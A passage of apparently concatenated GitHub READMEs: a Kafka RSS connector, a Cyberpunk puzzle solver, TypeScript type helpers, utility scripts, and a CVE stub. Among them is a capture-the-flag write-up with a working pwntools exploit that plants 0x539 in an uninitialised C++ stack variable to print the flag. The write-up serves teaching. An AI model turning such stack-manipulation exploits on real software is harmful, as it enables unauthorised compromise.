        "optional": true,
        "field": "date"
      }
    ],
    "optional": false,
    "name": "org.kaliy.kafka.rss.Item",
    "version": 1
  }
}
```

Sample message with JSON converter without embedded schema:
```json
{
  "feed": {
    "title": "CNN.com - RSS Channel - App International Edition",
    "url": "http://rss.cnn.com/rss/edition.rss"
  },
  "title": "The 56,000-mile electric car journey",
  "id": "https://www.cnn.com/2019/03/22/motorsport/electric-car-around-the-world-wiebe-wakker-spt-intl/index.html",
  "link": "https://www.cnn.com/2019/03/22/motorsport/electric-car-around-the-world-wiebe-wakker-spt-intl/index.html",
  "content": "For three years and 90,000 kilometers and counting, he's traveled the world powered both by electricity and strangers' kindness.",
  "author": "CNN",
  "date": "2019-03-22T13:34:17Z"
}
```

## Changelog
* 0.1.0 (2019-03-24): Initial release
* 0.1.1 (2022-11-24):
  * Address known vulnerabilities by upgrading dependencies ([#6](https://github.com/kaliy/kafka-connect-rss/pull/6))
  * Handle Null Pointer Exception in the confluent control center ([#8](https://github.com/kaliy/kafka-connect-rss/pull/8))
* 0.1.2 (2022-11-24):
  * Support podcasts, the link is a URL to download a file. ([#11](https://github.com/kaliy/kafka-connect-rss/pull/11))

## Development

Some development notes can be found [here](https://github.com/kaliy/kafka-connect-rss/blob/master/devnotes.md).

To compile and execute unit and integration tests `mvn verify` command can be used.

repository: kaliy/kafka-connect-rss

gha_language: Java

repo_name: kaliy/kafka-connect-rss


text:
# Cyberpunk Breach Protocol Solver

Solve the breach protocol in Cyberpunk 2077 automatically

## Problem Description

In CD Project REDs Cyberpunk 2077 "hacking" plays a big role. There are many access points all over the map with the possibility to earn in-game money.\
This is basically about selecting double hex values in a matrix in the right order. You start with an element of the first row, then you select an element in the same column as the first one. From there, you select another element in the matching row, and so on.

Each access point has three different possible combinations, called datamines. It is possible to solve several such datamines at the same access point.\
Depending on your equipment, you can select different numbers of values (Buffer). This limits how many datamines the player can solve on one access point.

![](images/data_breach.png)

Especially if you want to solve several sequences in such a data breach, you are faced with a quite complex problem, which you cannot solve so quickly in your head.

## Solution

The problem can be solved quite easily with backtracking, just like [sudoku](https://www.youtube.com/watch?v=G_UYXzGuqvM).\
The Code Matrix is also available in a readable format, which is why it is useful to use OCR to extract the values from a screenshot.
However, due to time constraints, I did not work further on a text recognition function.

Since I had a text recognition in mind at the beginning, I wrote it in Python. At a later point, I decided to use javascript to make the tool more accessible.

## Requirements

### Web application

The JavaScript version does not have any requirements apart from a modern web browser. It can be accessed here:
https://stobermeier.github.io/CyberpunkBreachProtocol/

### Python application

If you want to take a look at the python version you need the following:

- Python 3
- Numpy
- Flask

## Usage

Since it takes a bit of time to enter the code matrix into the tool, I recommend that you first consider whether the data breach of all datamines is even possible with the available buffer. \
 Note that it is possible to join two datamines together, provided one ends with the same value as the other begins with. E.g. 1C7A55 and 55E9BD can be combined to 1C7A55E9BD

### Web application

The application can be accessed [here](https://stobermeier.github.io/CyberpunkBreachProtocol/)!  \
Just fill the Code Matrix, enter your RAM, the three Datamines, and click solve!

![](images/web_interface_example.png)

You might find it interesting to look at the console output of your browser to see what is going on.

### Python application

Simply run user_interface.py. The console output will tell you how to open the web interface (should be http://<IP_ADDRESS>:5000/). \
Enter the Code Matrix, your RAM, and the three Datamine sequences (e.g. 1CE955).\
The solution will be provided in the console. Click any key to get to the next solution. However, the best solution will be present first.

## Contributing and License

Feel free to contribute or further develop this idea in general. Make sure to use the MIT License when adopting my Code.

As already mentioned, I would find image recognition very useful.

repository: stobermeier/CyberpunkBreachProtocol

gha_language: Python

repo_name: stobermeier/CyberpunkBreachProtocol


text:
---
title: '13. Implement a Custom Skill on your Prototype Device'

layout: nil
---

### Create a Custom Skill Using Alexa Skills Kit (ASK)

Navigate to our [Alexa Skill Kit Quick Start Tutorial](https://developer.amazon.com/alexa-skills-kit/alexa-skill-quick-start-tutorial) and follow the instructions to build your own skill in 5 minutes.

Follow the onscreen steps to activate the skill on your device and test it.  Since your skills live in the cloud, once you've published your skill you can access it from any Alexa-enabled device.  Try using your new skill on your neighbor's Intel kit!

---

repository: avs-dvk-workshop/CN

repo_name: avs-dvk-workshop/CN


text:
# Any

`any` is one of the two top types in TypeScript.
It is a supertype of all types.
It is a way to opt-out of type checking and let the values pass through compile-time checks.

## Type Checking

The `AnyType<T>` and friends are used to check if a type is `any` or not.

They are strict type checks, meaning they match only the type `any`.
Union and intersections are not a factor here they are resolved to `any`,
except `any & never` which is `never`.

### [AnyType](./any.spec.ts#15)

`AnyType<T, Then = T, Else = never>`

🌪 *filter*

Filter `T` to ensure it is exactly `any`.

```ts
import type { AnyType } from 'type-plus'

type R = AnyType<any> // any

type R = AnyType<never> // never
type R = AnyType<unknown> // never
type R = AnyType<string | boolean> // never
```

### [IsAny](./any.spec.ts#31)

`IsAny<T, Then = true, Else = false>`

🎭 *validate*

Validate if `T` is exactly `any`.

```ts
import type { IsAny } from 'type-plus'

type R = IsAny<any> // true

type R = IsAny<never> // false
type R = IsAny<unknown> // false
type R = IsAny<string | boolean> // false
```

### [NotAnyType](./any.spec.ts#47)

`NotAnyType<T, Then = T, Else = never>`

🌪 *filter*

Filter `T` to ensure it is not exactly `any`.

```ts
import type { NotAnyType } from 'type-plus'

type R = NotAnyType<any> // never

type R = NotAnyType<never> // never
type R = NotAnyType<unknown> // never
type R = NotAnyType<string | boolean> // string | boolean
```

### [IsNotAny](./any.spec.ts#65)

`IsNotAny<T, Then = true, Else = false>`

🎭 *validate*

Validate if `T` is not exactly `any`.

```ts
import type { IsNotAny } from 'type-plus'

type R = IsNotAny<any> // false

type R = IsNotAny<never> // true
type R = IsNotAny<unknown> // true
type R = IsNotAny<string | boolean> // true
```

## Trivia

> Both `any` and `unknown` are top types?

Well, yeah:

```ts
type A = any extends unknown ? 1 : 2 // 1
type B = unknown extends any ? 1 : 2 // 1
```

> Aren't using `any` is bad?

If you use it to simply tell TypeScript to shut up because you are lazy, then yes.

But it is ok to use `any` in many cases, as the type system of TypeScript is not sounded.

There are many cases it is not possible to induce the type correctly.

## References

- [handbook]

[handbook]: https://www.typescriptlang.org/docs/handbook/2/everyday-types.html#any

repository: unional/type-plus

gha_language: TypeScript

repo_name: unional/type-plus


text:
---
title: askForFile
date: 2020-05-07
---
Example Python program askForFile.py
Python version 3.x or newer.
To check the Python version use:

    python --version

## Modules

* from tkinter import filedialog
* from tkinter import Tk
* from pathlib import Path
* from typing import List, Set, Dict, Tuple, Optional

## Methods

* def ask_for_file(
* def ask_for_directory(msg: str = "Please, choose a directory.") -> Optional[Path]:

## Code

Python tkinter example

    #!/usr/bin/env python3
    # -*- coding=utf-8 -*-
    """
    Code snippet for prompting a familiar tkinter GUI to ask user to select
    a specific file or directory in their computer.
    No dependencies needed.

    Tested with Python 3.7
    G.Berthiaume 2019
    """
    from tkinter import filedialog
    from tkinter import Tk
    from pathlib import Path
    from typing import List, Set, Dict, Tuple, Optional

    def ask_for_file(
        valid_file_types: List, strict: bool = False, msg: str = "Please, choose a file."
    ) -> Optional[Path]:
        """Ask user to select a file with a gui.

        Args:
            valid_file_types:   List of tupple that represent valid file types.
                                e.g. [("image", "*.jpeg"), ("text", "*.txt")]
            strict:             If true, it wont give user the option to choose "all files".
            msg:                The message at the top of the window.

        Returns:
            pathlib.Path object if user has selected a file
            None if user has cancel the prompt
        """
        if not strict:
            valid_file_types.append(("All files", "*.*"))

        # We don't want a full GUI, so keep the root window from appearing
        Tk().withdraw()

        # Show dialog box and return the path to the selected file
        filepath = filedialog.askopenfilename(
            initialdir=Path.cwd(), filetypes=(valid_file_types), title=msg
        )

        if filepath == "":
            # user as pressed "cancel" or as quitted
            return None

        return Path(filepath)

    def ask_for_directory(msg: str = "Please, choose a directory.") -> Optional[Path]:
        """Ask user to select a directory with a gui.

        Args:
            msg: The message at the top of the window.

        Returns:
            pathlib.Path object if user has selected a directory
            None if user has cancel the prompt
        """
        # We don't want a full GUI, so keep the root window from appearing
        Tk().withdraw()

        # Show dialog box and return the path to the selected file
        dirpath = filedialog.askdirectory(title=msg)

        if dirpath == "":
            # user as pressed "cancel" or as quitted
            return None

        return Path(dirpath)

    if __name__ == "__main__":
        # Example 1
        valid_file_types = [("Great text !", "*.txt"), ("Nice image !", "*.jpeg")]
        filepath = ask_for_file(valid_file_types, strict=True)

        if filepath is not None:
            print(filepath)
            print(f"> This file" + " does exist." if filepath.exists() else "does not exist.")

        # Example 2
        dirpath = ask_for_directory()
        if dirpath is not None:
            print(dirpath)
            print(f"> This directory" + " does exist." if dirpath.exists() else "does not exist.")

## Useful Links

- Articles: https://python-commandments.org/
- Python shell: https://bsdnerds.org/learn-python/
- Tutorial: https://pythonprogramminglanguage.com/

repository: importostar/boilerplate

repo_name: importostar/boilerplate


text:
---
author: jeffatwood
comments: true
date: 2009-01-06 00:11:22+00:00
layout: post
redirect_from: /2009/01/the-best-time-to-ask-a-stack-overflow-question
hero:
slug: the-best-time-to-ask-a-stack-overflow-question
title: The Best Time to Ask a Stack Overflow Question?
wordpress_id: 303
tags:
- company
- background
---

[Simucal](http://stackoverflow.com/users/2635/simucal) asks:

What is SO's peak time of day in terms of number of users on the site?  I'm curious because there are times when I want to ask a fairly niche question and asking when the most number of users are on might be beneficial.

I did a quick query on non-deleted revisions, grouped by hour of day GMT time. Here's what I came up with.

![stack-overflow-revision-dates-by-hour](/images/wordpress/stack-overflow-revision-dates-by-hour.png)

Looks like the most popular time to post is between 15:00 and 22:00 GMT/UTC, at least for all Stack Overflow data between launch and today.

You'll have to convert those GMT hours to your local time zone, of course. For the USA, that's:

Eastern Standard Time
GMT/UTC minus 5 hours

Central Standard Time
GMT/UTC minus 6 hours

Mountain Standard Time
GMT/UTC minus 7 hours

Pacific Standard Time
GMT/UTC minus 8 hours

I'm a PST guy, so for _me_ that means the best time to post a question I needed an answer to ASAP would be at the beginning of this activity peak -- very early in the morning, probably around 7 AM to 8 AM. Ugh.

repository: bongjovi/stack-blog

extension: markdown

repo_name: bongjovi/stack-blog


text:
---
coverImageUri: ""
title: "Coffee Drinks Illustrated"
datetime: "2012-02-10T13:00:51.000Z"
categories: "food"
tags: "coffee"
---

An oldie, but a goodie, [Coffee Drinks Illustrated by Lokesh Dhakar](http://www.lokeshdhakar.com/2007/08/20/an-illustrated-coffee-guide/ "Coffee Drinks Illustrated | Lokesh Dhakar"), is a great illustrated guide for the different types of coffee drinks.

My personal favorites are the caffÃ© mocha and the caffÃ© latte (though, I do tweak them a bit):

[![](http://assets.brandonmartinez.com/brandonmartinez/2012/01/caffe.png "CaffÃ© Mocha and CaffÃ© Latte")](http://assets.brandonmartinez.com/brandonmartinez/2012/01/caffe.png)

Check out the whole post to see the various preparation methods: [Coffee Drinks Illustrated by Lokesh Dhakar](http://www.lokeshdhakar.com/2007/08/20/an-illustrated-coffee-guide/ "Coffee Drinks Illustrated | Lokesh Dhakar").

repository: brandonmartinez/brandonmartinez

repo_name: brandonmartinez/brandonmartinez


text:
# first-frame-network sample code

## Overview

The first-frame-network is a cross platform sample code that shows how to use the aditof sdk to talk to a remote ToF camera over the network.

For example if the ip address of the target is `<IP_ADDRESS>` the run command should be:
`./first-frame-network "<IP_ADDRESS>"`


text:
This addon allows you to render files directly in to the index.html on the initial build, then removes them from the DOM once your app has loaded. Useful for adding a preloading screen before the initial app is downloaded.

## Install
```
ember install ember-preloader
```

## Usage

The addon leverages the `contentFor` helper. In your app's **ember-cli-build.js** define your options hash, either using the existing `contentFor` hooks or your own:

```js
var app = new EmberApp(defaults, {
  preloader: {
    head: 'preload.css',
    body: 'preload.html'
    'custom-hook': 'preload.js',
    'custom-hook2': 'preload2.js'
  }
});
```

If you've used custom hooks, add them to your **index.html** file:

```hbs
{{content-for 'custom-hook'}}
{{content-for 'custom-hook2'}}
```

Finally, import the mixin into your application route:

```js
import PreloaderMixin from 'ember-preloader/mixins/preloader';
export default Route.extend(PreloaderMixin, {});
```

## Example

ember-cli-build.js:

```js
var app = new EmberApp(defaults, {
  preloader: {
    head: 'preload.css',
    body: 'preload.html',
    'body-footer': 'preload.js',
  }
});
```

Output:
```html
<style data-preloader>
  ... preload.css content ...
</style>

...

<div data-preloader>
  ... preload.html content ...
</div>

...

<script data-preloader>
  ... preload.js content ...
</script>
```

repository: IG-Group/ember-preloader

repo_name: IG-Group/ember-preloader


text:
# Python modules for automating website tasks

This module offers a rather ad hoc collection of tools for automating various
web tasks within one institution. If you're not a staff member at that
institution then there is probably nothing of interest here at all.

Authentication requires a file `.unsw_credentials` in your home directory.
The format for this file is `z1234567:mypassword`. If your password is stored
in plain text in this file, you should ensure that other users on the machine
do not have access to that file.

## Available tools

  * SSO login (for `myunsw` and `moodle`)
  * Jira login for use with the python `jira` module
  * Academic transcripts in PDF format
  * AIMS login and retrieval of course records

Authorisation of each transaction is still undertaken by the relevant web
service so if your user is not permitted to log into jira, you won't be
able to do so.

## Availability

Usage of these tools is governed by the terms of service of the web services
you may connect to and institutional policies.

The code itself is available under the MIT licence.

repository: llimeht/unswtools

repo_name: llimeht/unswtools


text:
### [CVE-2023-3737](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-3737)
![](https://img.shields.io/static/v1?label=Product&message=Chrome&color=blue)
![](https://img.shields.io/static/v1?label=Version&message=115.0.5790.98%3C%20115.0.5790.98%20&color=brighgreen)
![](https://img.shields.io/static/v1?label=Vulnerability&message=Inappropriate%20implementation&color=brighgreen)

### Description

Inappropriate implementation in Notifications in Google Chrome prior to 115.0.5790.98 allowed a remote attacker to spoof the contents of media notifications via a crafted HTML page. (Chromium security severity: Medium)

### POC

#### Reference
No PoCs from references.

#### Github
- https://github.com/fkie-cad/nvd-json-data-feeds

repository: trickest/cve

gha_language: HTML

repo_name: trickest/cve


text:
# RAIId Shadow Legends

## Description

```
I love how C++ initializes everything for you. It makes things so easy and fun!

Speaking of fun, play our fun new game RAIId Shadow Legends (source) at /problems/2021/raiid_shadow_legends on the shell server, or connect with nc shell.actf.co 21300.

Author: kmh
```

## Analysis

Let's take a look at `raiid_shadow_legends.cpp`.

`main()` prompts for an action. The only thing that's useful is option 1, which will call `terms_and_conditions()` followed by `play()`.

```cpp
int main() {
        setresgid(getegid(), getegid(), getegid());
        cout << "Welcome to RAIId Shadow Legends!" << endl;
        while (true) {
                cout << "\n1. Start game" << endl;
                cout << "2. Purchase shadow tokens\n" << endl;
                cout << "What would you like to do? " << flush;
                string action;
                cin >> action;
                cin.ignore();
                if (action == "1") {
                        terms_and_conditions();
                        play();
                } else if (action == "2") {
                        cout << "Please mail a check to RAIId Shadow Legends Headquarters, 1337 Leet Street, 31337." << endl;
                }
        }
}
```

`terms_and_conditions()` just prompts for an agreement and signature:

```cpp
void terms_and_conditions() {
        string agreement;
        string signature;
        cout << "\nRAIId Shadow Legends is owned and operated by Working Group 21, Inc. ";
        cout << "As a subsidiary of the International Organization for Standardization, ";
        cout << "we reserve the right to standardize and/or destandardize any gameplay ";
        cout << "elements that are deemed fraudulent, unnecessary, beneficial to the ";
        cout << "player, or otherwise undesirable in our authoritarian society where ";
        cout << "social capital has been eradicated and money is the only source of ";
        cout << "power, legal or otherwise.\n" << endl;
        cout << "Do you agree to the terms and conditions? " << flush;
        cin >> agreement;
        cin.ignore();
        while (agreement != "yes") {
                cout << "Do you agree to the terms and conditions? " << flush;
                cin >> agreement;
                cin.ignore();
        }
        cout << "Sign here: " << flush;
        getline(cin, signature);
}
```

`play()` is where the money's at. We need to control `player.skill` in order to get the flag. But notice that it's never set or manipulated. Since it's not initialized, and it's on the stack, there must be some way to leave "garbage" behind on the stack such that `player.skill == 1337`.

```cpp
struct character {
        int health;
        int skill;
        long tokens;
        string name;
};

void play() {
        string action;
        character player;
        cout << "Enter your name: " << flush;
        getline(cin, player.name);
        cout << "Welcome, " << player.name << ". Skill level: " << player.skill << endl;
        while (true) {
                cout << "\n1. Power up" << endl;
                cout << "2. Fight for the flag" << endl;
                cout << "3. Exit game\n" << endl;
                cout << "What would you like to do? " << flush;
                cin >> action;
                cin.ignore();
                if (action == "1") {
                        cout << "Power up requires shadow tokens, available via in app purchase." << endl;
                } else if (action == "2") {
                        if (player.skill < 1337) {
                                cout << "You flail your arms wildly, but it is no match for the flag guardian. Raid failed." << endl;
                        } else if (player.skill > 1337) {
                                cout << "The flag guardian quickly succumbs to your overwhelming power. But the flag was destroyed in the frenzy!" << endl;
                        } else {
                                cout << "It's a tough battle, but you emerge victorious. The flag has been recovered successfully: " << flag.rdbuf() << endl;
                        }
                } else if (action == "3") {
                        return;
                }
        }
}
```

If we provide only expected input, `player.skill` will be 0.

```
kali@kali:~/Downloads/angstrom/raiid_shadow_legends$ ./raiid_shadow_legends
Welcome to RAIId Shadow Legends!

1. Start game
2. Purchase shadow tokens

What would you like to do? 1

RAIId Shadow Legends is owned and operated by Working Group 21, Inc. As a subsidiary of the International Organization for Standardization, we reserve the right to standardize and/or destandardize any gameplay elements that are deemed fraudulent, unnecessary, beneficial to the player, or otherwise undesirable in our authoritarian society where social capital has been eradicated and money is the only source of power, legal or otherwise.

Do you agree to the terms and conditions? yes
Sign here: no
Enter your name: foobar
Welcome, foobar. Skill level: 0

1. Power up
2. Fight for the flag
3. Exit game

What would you like to do? 2
You flail your arms wildly, but it is no match for the flag guardian. Raid failed.
```

I spent some time fumbling around passing large inputs into `player.name`, but these are C++ strings(based on vectors) so it's clearly not a buffer overflow.

Kudos to my team mate [datajerk](https://github.com/datajerk) for figuring out that we can manipulate `player.skill` via the `agreement` string in `terms_and_conditions()`:

```
kali@kali:~/Downloads/angstrom/raiid_shadow_legends$ ./raiid_shadow_legends
Welcome to RAIId Shadow Legends!

1. Start game
2. Purchase shadow tokens

What would you like to do? 1

RAIId Shadow Legends is owned and operated by Working Group 21, Inc. As a subsidiary of the International Organization for Standardization, we reserve the right to standardize and/or destandardize any gameplay elements that are deemed fraudulent, unnecessary, beneficial to the player, or otherwise undesirable in our authoritarian society where social capital has been eradicated and money is the only source of power, legal or otherwise.

Do you agree to the terms and conditions? yesAAAA
Do you agree to the terms and conditions? yes
Sign here: foo
Enter your name: foo
Welcome, foo. Skill level: 4276545

1. Power up
2. Fight for the flag
3. Exit game

What would you like to do?
```

`4276545` is `0x414141` (or `AAA`).

## Solution

Now that we know how to manipulate `player.skill` we just have to get `0x539` (`1337`) in there to print the flag.

```python
#!/usr/bin/env python3
from pwn import *
p = process('./raiid_shadow_legends')
p.recvuntil('What would you like to do?')
p.sendline('1')
p.recvuntil('Do you agree to the terms and conditions?')
p.sendline(b'yes\0' + p32(0x539))
p.recvuntil('Do you agree to the terms and conditions?')
p.sendline('yes')
p.recvuntil('Sign here:')
p.sendline('foo')
p.recvuntil('Enter your name:')
p.sendline('foo')
p.recvuntil('What would you like to do?')
p.sendline('2')
p.recvuntil("It's a tough battle, but you emerge victorious. The flag has been recovered successfully: ")
flag = p.recvline()
print(flag)
```

```
team8838@actf:/problems/2021/raiid_shadow_legends$ ~/solve.py
[+] Starting local process './raiid_shadow_legends': pid 1473059
b'actf{great_job!_speaking_of_great_jobs,_our_sponsor_audible...}\n'
```

repository: dobsonj/ctf

repo_name: dobsonj/ctf


text:
# Search

```text
material-4/Action/Search
```

```text
include('material-4/Action/Search')
```

| Illustration | Search |
| :---: | :---: |
| ![illustration for Illustration](../../material-4/Action/Search.png) | ![illustration for Search](../../material-4/Action/Search.Local.png) |

## Sprites
The item provides the following sriptes:

- `<$SearchXs>`
- `<$SearchSm>`
- `<$SearchMd>`
- `<$SearchLg>`

## Search

### Load remotely
```plantuml
@startuml
' configures the library
!global $LIB_BASE_LOCATION="https://raw.githubusercontent.com/tmorin/plantuml-libs/master/distribution"

' loads the library's bootstrap
!include $LIB_BASE_LOCATION/bootstrap.puml

' loads the package bootstrap
include('material-4/bootstrap')

' loads the Item which embeds the element Search
include('material-4/Action/Search')

' renders the element
Search('Search', 'Search', 'an optional tech label', 'an optional description')
@enduml
```

### Load locally
```plantuml
@startuml
' configures the library
!global $INCLUSION_MODE="local"
!global $LIB_BASE_LOCATION="../.."

' loads the library's bootstrap
!include $LIB_BASE_LOCATION/bootstrap.puml

' loads the package bootstrap
include('material-4/bootstrap')

' loads the Item which embeds the element Search
include('material-4/Action/Search')

' renders the element
Search('Search', 'Search', 'an optional tech label', 'an optional description')
@enduml
```

repository: tmorin/plantuml-libs

repo_name: tmorin/plantuml-libs


text:
# similarity-finder
Python tool that lists combinations of similar files (or cases of plagiarism) within a directory

# Usage

```
python similarity-finder.py [dir]
```

repository: Dandandan/similarity-finder

repo_name: Dandandan/similarity-finder


text:
# Note Taker

## Description:

![License](https://img.shields.io/badge/License-MIT-blue.svg "License Badge")

This application allows you to record notes and store them on server. You are able to view previous notes, add new ones or delete any of the notes.

[Live URL](https://note-taker-jochsf.herokuapp.com/)

# Table of Contents

- [Installation](#installation)
- [Technologies](#technologies)
- [Usage](#usage)
- [Credits](#credits)
- [License](#license)
- [Contribution](#contributing)
- [Questions](#questions)

## Installation:

Clone the repository to your machine and install necessary packages using npm install.
Then run the app using npm run start

## Technologies
- JavaScript
- Node js
- Express js
- Heroku

## Usage:

Use this app to create and store notes

## Credits:

Made by Jordan Chan

## License:

For more information about licenses, please visit:

[License](https://opensource.org/licenses/MIT)

## Contributing:

This project is open-source

## Questions:

To check out my other projects, please visit my Github profile:
[Github Profile](https://github.com/jochsf)

repository: jochsf/note-taker

repo_name: jochsf/note-taker


text:
# Python AdminUI

[Documentation](https://python-adminui.readthedocs.io/en/latest/index.html)
[中文文档](https://python-adminui.readthedocs.io/zh_CN/latest/index.html)

**If you need to add component to this library, or have other suggestions, please raise an issue**

Write professional web interface with Python.

If you need a simple web interface and you don't want to mess around with
HTML, CSS, React, Angular, Webpack or other fancy Javascript frontend stuff,
this project is for you. Now you can write web pages, forms, charts and dashboards with only Python.

This library is good for: data projects, tools and scripts, small IT systems and management systems,
Hacker or Hackathon projects. Basically if you need an interface for your system and you don't
care much about customizing the style or performance for large traffic, consider this package.

This project is based on Flask/FastApi and Ant Design Pro.

![Screen Shot](./screenshot.png)

## Features
- No HTML, CSS, JS needed
- Database agnostic: feed content at your own, no matter it's MySql, Sqlite, Excel tables, Firebase or some IoT hardware
- JWT based authentication/login system with a neat login page
- Forms and detail pages
- Line and Bar Chart
- Create decent looking menus
- Data tables with pagination
- Adaptive to small screens and mobile devices
- Support both Flask and FastApi

# Installation and quick start

install the package with pip:

```
pip install adminui
```

The basic "form page" example:

```
# example_form.py
from adminui import *

app = AdminApp()

def on_submit(form_data):
    print(form_data)

@app.page('/', 'form')
def form_page():
    return [
        Form(on_submit = on_submit, content = [
            TextField('Title', required_message="The title is required!"),
            TextArea('Description'),
            FormActions(content = [
                SubmitButton('Submit')
            ])
        ])
    ]

if __name__ == '__main__':
    app.run()
```

Run the Python file:

```
python example_form.py
```

Then visit http://<IP_ADDRESS>:5000/ to see the result.

## Use FastApi instead of Flask

Set `use_fastapi=True` when creating the `app`; and `prepare()` instead of `run()` to expose the app to uvicorn. See python/example_fastapi.py for details

```
# instead of app = AdminApp(), use
app = AdminApp(use_fastapi=True)

# ... other stuff you do with adminui app

# in the end of the main file, use
fastapi_app = app.prepare()

# in command line, run:
# uvicorn example_fastapi:fastapi_app
```

# Documentation

Hosted on [Read the Docs](https://python-adminui.readthedocs.io/en/latest/index.html)

# Contributing and Development

This is a personal project. So please create issues to tell me what you need from this project.

You may also give stars to let me know if this project is worthy to invest more time on.

To work with the source code:

This project has a Typescript front-end and a Python backend.
The front-end is in the `/src` folder.
The back-end is in the `/python` folder.
To start developing:

- cd into `/python` folder and run `pip install -r requirements.txt` to install requirements
- run one of the example_xxx.py file in the `/python` folder
- Open another terminal, run `npm install` & `npm start` at the root folder to start the frontend;

Under this development mode, requests from front-end will forward to the backend.

When you are done with developing:
- run `npm run build` will build the project.

The front-end is based on the amazing [Ant Design Pro](https://pro.ant.design/docs/getting-started) library, you may consult their documentation during the development.

The Python backend is located in `/python/adminui`. It is Flask based. There are some examples in the `/python` folder.

# Release log for early preview

- 1.5.1: Scroll x/y for DataTable, reset some css within RawHTML
- 1.5.0: Tooltip and pie chart title (pr #57 by harry3689)
- 1.4.9: [shared app](https://python-adminui.readthedocs.io/en/latest/organize_app.html) for project structuring; adding Popconfirm
- 1.4.8: customer colors in charts (thanks harry3689's pr #56), fixes #52 and #51
- 1.4.7: fixes placeholder text on login, labels in ModelForms; added badge for tables
- 1.4.6: render links in table columns
- 1.4.5: icon, Notification types, custom favicon
- 1.4.4: Added Empty and Result status, buttons are not linkable
- 1.4.3: New ScatterPlot, added password field
- 1.4.2: Image tag, timer, tabs, and Spin(loading) element
- 1.4.1: allow changing Signup link / forget password link. Add `size` attribute to DataTable
- 1.4.0: new chart api(old ones still work), supports pie chart and progress bar/circle
- 1.3.0: allow serving additional static folders and multiple parameters
- 1.2.3: allow changing footer text, footer links and logo

repository: bigeyex/python-adminui

repo_name: bigeyex/python-adminui


text:
# `ContainerReadOnly`

```php
class ContainerReadOnly extends Logic implements ReadOnly
```

Attempting to write a value in the read-only property.

Unlike [PropertyReadOnly](PropertyReadOnly.md) all the properties of the container always read-only.

### `__construct([$container [, $previous, $thrower])`

 * `$container` - the container or its name

### Methods

 * `getContainer():string|object`

repository: axypro/errors

gha_language: PHP

repo_name: axypro/errors


text:
# Batch Viewport Animation Preview

## Description

Creates viewport preview for the selected cameras or for all scene cameras as .jpg sequences.

## Compatibility

Tested with **3dsmax 2020**.

Supported camera types:

- Physical
- Free
- CoronaCam
- VRayPhysicalCamera

## Installation

- Click on **Scripting -> Run** Script in the top toolbar menu.
- Locate where the script was saved, select it and press Open.
- Go to **Customize -> Customize User Interface** in the top toolbar menu.
- Click on **Toolbars** tab.
- From the Categories dropdown menu select **CiprianScripts**.
- Drag the **Batch Viewport Animation Preview** item to an existing toolbar or a newly created one.

## Usage

- Click on the script shortcut.
- A window popup will prompt for selecting the output folder.
- The script will begin creating previews for all cameras in the scene or only for the selected ones.
- Press Escape key to interrupt the script at any time. It may require pressing it multiple times.

## Notes

- Each preview sequence will be saved in individual folders named using the camera name.
- During the viewport grab some of the scene settings are changed to ensure the quality of the preview.
  - Object classes that get hidden:
    - shapes
    - lights
    - cameras
    - helpers
    - spacewarps
    - particles
    - bones
  - Viewport display is switched to Default Shading
  - Area to render is switched to View to avoid the region, cropt or blowup viewport rect obstructing the view.
- Please ensure the file is saved before running the script to avoid any data loss.

## To Do

- Better progress interruption. The current method may require pressing the ESC key multiple times before the script stops.

## Credits

Based on code originally posted by:

    - Colin Serren (http://www.scriptspot.com/3ds-max/scripts/batch-camera-previews)
    - HalfVector (https://forums.cgsociety.org/t/remove-escape-sequence-from-file-path-string/973444)
    - Lone Robot (http://lonerobot.net/?p=959)

## Disclaimer

This script comes without warranty of any kind. Use it at your own risk.

repository: cippall/maxscript

repo_name: cippall/maxscript


text:
---
layout: post
title: Hello World Web Application
excerpt: "Simple hello world web app"
categories: [hello world]
comments: true
image:
  feature: #
  preview: https://i.postimg.cc/MKVcCs9t/image.png
  credit: Jackie Trenh
  creditlink: #
---
Simple hello world web app

I like to keep it simple and start off with the very basics when learning something new.

Navigate to ec2 service on aws console and launch an instance with the configurations you want.

Use user data to quickly setup an apache web application when launching the instance. You can find this bootstrap script with a quick google search. Read more about this [here](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/user-data.html).

You can create your own security group to be more secure or use the default one that allows all traffic.

After launching, the Hello World! web app should be all set!

__

You can ssh into your instance and verify that the index.html file was created and contains the html code you wrote to it using the
```cat index.html``` command.


text:
KeepMyPhotos
============

Keep My Photos is a simple Flickr backup application. It will download
your photos into a specified folder, while maintaining the Flickr filename.

Files are put into folders according to their set memberships.

Running
-------

The recommended way is to use virtualenv and pip. Please see virtualenv
documentation for installing it.

    virtualenv venv
    . venv/bin/activate
    pip install -r requirements.txt
    ./keepmyphotos.py -u http://www.flickr.com/photos/mine -d ~/backup

The first time, a browser window will be opened where you can authorize
KeepMyPhotos to allow to see your pictures.

Usage
-----

Run with -h argument to see all arguments:

    ./keepmyphotos.py -h
    usage: keepmyphotos.py [-h] [-u URL] -d DIR [-i ID] [-o] [-N]

    Keep My Photos for backup of flickr photos

    optional arguments:
      -h, --help            show this help message and exit
      -u URL, --url URL     The photos URL of the user eg.
                            http://www.flickr.com/photos/keepmyphotos/
      -d DIR, --dir DIR     The directory where the backup resides
      -i ID, --id ID        The flickr user ID eg 12345678@N01
      -o, --original-only   Fail if original photos are not available
      -N, --not-in-set-only
                            Process "not in set" pictures only.

License
-------

License is BSD-style.

repository: sorend/keepmyphotos

repo_name: sorend/keepmyphotos


text:
# cubejsclientasync

[![](https://img.shields.io/pypi/v/cubejsclientasync.svg)](https://pypi.org/pypi/cubejsclientasync/) [![License](https://img.shields.io/badge/License-BSD%203--Clause-blue.svg)](https://opensource.org/licenses/BSD-3-Clause)

Async Python Cube.js client

Features:

- Cube.js API client that makes async requests
- Rich objects for building queries with measures, dimensions, etc.

Table of Contents:

- [Installation](#installation)
- [Development](#development)

## Installation

cubejsclientasync requires Python 3.6 or above.

```bash
pip install cubejsclientasync
```

## Development

To develop cubejsclientasync, install dependencies and enable the pre-commit hook:

```bash
pip install pre-commit poetry
poetry install
pre-commit install
```

To run tests:

```bash
poetry shell
pytest
```


text:
# Web-Monitor
Turkish Gymnastics Federation course announcements tracking application

A simple website monitoring script. If the followed course comes to the list,
a message is sent automatically with the registration link to the previously created telegram group.

## How to run monitoring app?

* First of all, download the repo and extract it to a location you want. For mac users open new terminal and for the windows users open new Command Prompt. Then open directory of the downloaded folder. Example:

```bash
cd /Users/user/Desktop/Web-Monitor
```
* Next, run the web_monitor.py
```bash
python web_monitor.py
```
